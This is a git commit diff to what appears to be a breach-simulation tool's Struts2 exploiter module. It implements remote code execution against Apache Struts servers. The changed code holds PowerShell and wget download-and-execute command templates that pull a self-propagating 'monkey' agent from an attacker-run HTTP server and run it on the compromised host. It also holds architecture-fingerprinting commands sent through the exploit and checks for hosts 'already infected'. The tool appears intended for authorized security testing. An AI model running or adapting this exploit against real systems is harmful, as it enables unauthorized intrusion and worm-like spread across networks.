Struts exploitation working, and tested with win-64 and ubuntu

This commit is contained in:
Vakaris 2018-06-20 16:58:20 +03:00
parent 413bdd9254
commit 2d27972e7e
2 changed files with 112 additions and 57 deletions

View File

@ -23,11 +23,9 @@ MONKEY_ARG = "m0nk3y"
# Commands used for downloading monkeys # Commands used for downloading monkeys
POWERSHELL_HTTP = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \\\'%%(http_path)s\\\' -OutFile \\\'%%(monkey_path)s\\\' -UseBasicParsing; %%(monkey_path)s %s %%(parameters)s\"" % (MONKEY_ARG, ) POWERSHELL_HTTP = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \\\'%%(http_path)s\\\' -OutFile \\\'%%(monkey_path)s\\\' -UseBasicParsing; %%(monkey_path)s %s %%(parameters)s\"" % (MONKEY_ARG, )
WGET_HTTP = "wget -O %%(monkey_path)s %%(http_path)s && sudo chmod a+rwx %%(monkey_path)s && %%(monkey_path)s %s %%(parameters)s" % (MONKEY_ARG, ) WGET_HTTP = "wget -O %%(monkey_path)s %%(http_path)s && sudo chmod a+rwx %%(monkey_path)s && %%(monkey_path)s %s %%(parameters)s" % (MONKEY_ARG, )
# Command used to check whether host is vulnerable
CHECK_COMMAND = "echo %s" % ID_STRING
# Commands used to check for architecture # Commands used to check for architecture
CHECK_WINDOWS = "%s && wmic os get osarchitecture" % ID_STRING CHECK_WINDOWS = "echo %s && wmic os get osarchitecture" % ID_STRING
CHECK_LINUX = "%s && lscpu" % ID_STRING CHECK_LINUX = "echo %s && lscpu" % ID_STRING
# Commands used to check if monkeys already exists # Commands used to check if monkeys already exists
EXISTS = "ls %s" EXISTS = "ls %s"
@ -47,7 +45,6 @@ class Struts2Exploiter(HostExploiter):
self.skip_exist = self._config.skip_exploit_if_file_exist self.skip_exist = self._config.skip_exploit_if_file_exist
def exploit_host(self): def exploit_host(self):
# TODO add skip if file exists
# Initializing vars for convenience # Initializing vars for convenience
ports, _ = check_tcp_ports(self.host.ip_addr, WEB_PORTS) ports, _ = check_tcp_ports(self.host.ip_addr, WEB_PORTS)
dropper_path_linux = self._config.dropper_target_path_linux dropper_path_linux = self._config.dropper_target_path_linux
@ -65,21 +62,35 @@ class Struts2Exploiter(HostExploiter):
# TODO remove struts from url # TODO remove struts from url
current_host = "http://%s:%d/struts" % (self.host.ip_addr, port) current_host = "http://%s:%d/struts" % (self.host.ip_addr, port)
# Get full URL # Get full URL
current_host = self.get_redirected(current_host) url = self.get_redirected(current_host)
# Get os architecture so that we don't have to update monkey # Get os architecture so that we don't have to update monkey
LOG.info("Trying to exploit with struts2") LOG.info("Trying to exploit with struts2")
# Check if host is vulnerable and get host os architecture # Check if host is vulnerable and get host os architecture
if 'linux' in self.host.os['type']: if 'linux' in self.host.os['type']:
host_arch = Struts2Exploiter.try_exploit_linux(current_host) return self.exploit_linux(url, dropper_path_linux)
else: else:
host_arch = Struts2Exploiter.try_exploit_windows(current_host) return self.exploit_windows(url, [dropper_path_win_32, dropper_path_win_64])
def check_remote_file(self, host, path):
command = EXISTS % path
resp = self.exploit(host, command)
if 'No such file' in resp:
return False
else:
LOG.info("Host %s was already infected under the current configuration, done" % self.host)
return True
def exploit_linux(self, url, dropper_path):
host_arch = Struts2Exploiter.check_exploit_linux(url)
if host_arch: if host_arch:
self.host.os['machine'] = host_arch self.host.os['machine'] = host_arch
if url and host_arch:
if current_host and host_arch:
LOG.info("Host is exploitable with struts2 RCE vulnerability") LOG.info("Host is exploitable with struts2 RCE vulnerability")
# If monkey already exists and option not to exploit in that case is selected
if self.skip_exist and (self.check_remote_file(url, dropper_path)):
return True
src_path = get_target_monkey(self.host) src_path = get_target_monkey(self.host)
if not src_path: if not src_path:
LOG.info("Can't find suitable monkey executable for host %r", self.host) LOG.info("Can't find suitable monkey executable for host %r", self.host)
@ -93,20 +104,10 @@ class Struts2Exploiter(HostExploiter):
cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1) cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1)
# Form command according to os command = WGET_HTTP % {'monkey_path': dropper_path,
if 'linux' in self.host.os['type']:
if self.skip_exist and (self.check_remote_file(current_host, dropper_path_linux)):
return True
command = WGET_HTTP % {'monkey_path': dropper_path_linux,
'http_path': http_path, 'parameters': cmdline}
else:
if self.skip_exist and (self.check_remote_file(current_host, dropper_path_win_32)
or self.check_remote_file(current_host, dropper_path_win_64)):
return True
command = POWERSHELL_HTTP % {'monkey_path': re.escape(dropper_path_win_32),
'http_path': http_path, 'parameters': cmdline} 'http_path': http_path, 'parameters': cmdline}
self.exploit(current_host, command) self.exploit(url, command, RESPONSE_TIMEOUT)
http_thread.join(DOWNLOAD_TIMEOUT) http_thread.join(DOWNLOAD_TIMEOUT)
http_thread.stop() http_thread.stop()
@ -116,17 +117,56 @@ class Struts2Exploiter(HostExploiter):
return False return False
def check_remote_file(self, host, path): def exploit_windows(self, url, dropper_paths):
command = EXISTS % path """
resp = self.exploit(host, command) :param url: Where to send malicious request
if 'No such file' in resp: :param dropper_paths: [0]-monkey-windows-32.bat, [1]-monkey-windows-64.bat
return False :return: Bool. Successfully exploited or not
else: """
LOG.info("Host %s was already infected under the current configuration, done" % self.host) host_arch = Struts2Exploiter.check_exploit_windows(url)
if host_arch:
self.host.os['machine'] = host_arch
if url and host_arch:
LOG.info("Host is exploitable with struts2 RCE vulnerability")
# If monkey already exists and option not to exploit in that case is selected
if self.skip_exist:
for dropper_path in dropper_paths:
if self.check_remote_file(url, dropper_path):
return True return True
src_path = get_target_monkey(self.host)
if not src_path:
LOG.info("Can't find suitable monkey executable for host %r", self.host)
return False
# Select the dir and name for monkey on the host
if "windows-32" in src_path:
dropper_path = dropper_paths[0]
else:
dropper_path = dropper_paths[1]
# create server for http download.
http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)
if not http_path:
LOG.debug("Exploiter Struts2 failed, http transfer creation failed.")
return False
LOG.info("Started http server on %s", http_path)
cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1)
command = POWERSHELL_HTTP % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path),
'http_path': http_path, 'parameters': cmdline}
# TODO Add timeout
self.exploit(url, command)
http_thread.join(DOWNLOAD_TIMEOUT)
http_thread.stop()
LOG.info("Struts2 exploit attempt finished")
return True
return False
@staticmethod @staticmethod
def try_exploit_windows(url): def check_exploit_windows(url):
resp = Struts2Exploiter.exploit(url, CHECK_WINDOWS) resp = Struts2Exploiter.exploit(url, CHECK_WINDOWS)
if resp and ID_STRING in resp: if resp and ID_STRING in resp:
if "64-bit" in resp: if "64-bit" in resp:
@ -137,13 +177,13 @@ class Struts2Exploiter(HostExploiter):
return False return False
@staticmethod @staticmethod
def try_exploit_linux(url): def check_exploit_linux(url):
resp = Struts2Exploiter.exploit(url, CHECK_LINUX) resp = Struts2Exploiter.exploit(url, CHECK_LINUX)
if resp and ID_STRING in resp: if resp and ID_STRING in resp:
if "x86_64" in resp: # Pulls architecture string
return "64" arch = re.search('(?<=Architecture:)\s+(\w+)', resp)
else: arch = arch.group(1)
return "32" return arch
else: else:
return False return False
@ -162,8 +202,8 @@ class Struts2Exploiter(HostExploiter):
""" """
:param url: Full url to send request to :param url: Full url to send request to
:param cmd: Code to try and execute on host :param cmd: Code to try and execute on host
:param timeout: How long to wait for response in seconds(if monkey is executed :param timeout: How long to wait for response in seconds(if monkey is being executed
it's better not to wait it's whole output it's better not to wait it's whole output). By default we wait.
:return: response :return: response
""" """
page = "" page = ""

View File

@ -21,6 +21,11 @@ MONKEY_DOWNLOADS = [
'machine': 'i686', 'machine': 'i686',
'filename': 'monkey-linux-32', 'filename': 'monkey-linux-32',
}, },
{
'type': 'linux',
'machine': 'i386',
'filename': 'monkey-linux-32',
},
{ {
'type': 'linux', 'type': 'linux',
'filename': 'monkey-linux-64', 'filename': 'monkey-linux-64',
@ -35,6 +40,16 @@ MONKEY_DOWNLOADS = [
'machine': 'amd64', 'machine': 'amd64',
'filename': 'monkey-windows-64.exe', 'filename': 'monkey-windows-64.exe',
}, },
{
'type': 'windows',
'machine': '64',
'filename': 'monkey-windows-64.exe',
},
{
'type': 'windows',
'machine': '32',
'filename': 'monkey-windows-32.exe',
},
{ {
'type': 'windows', 'type': 'windows',
'filename': 'monkey-windows-32.exe', 'filename': 'monkey-windows-32.exe',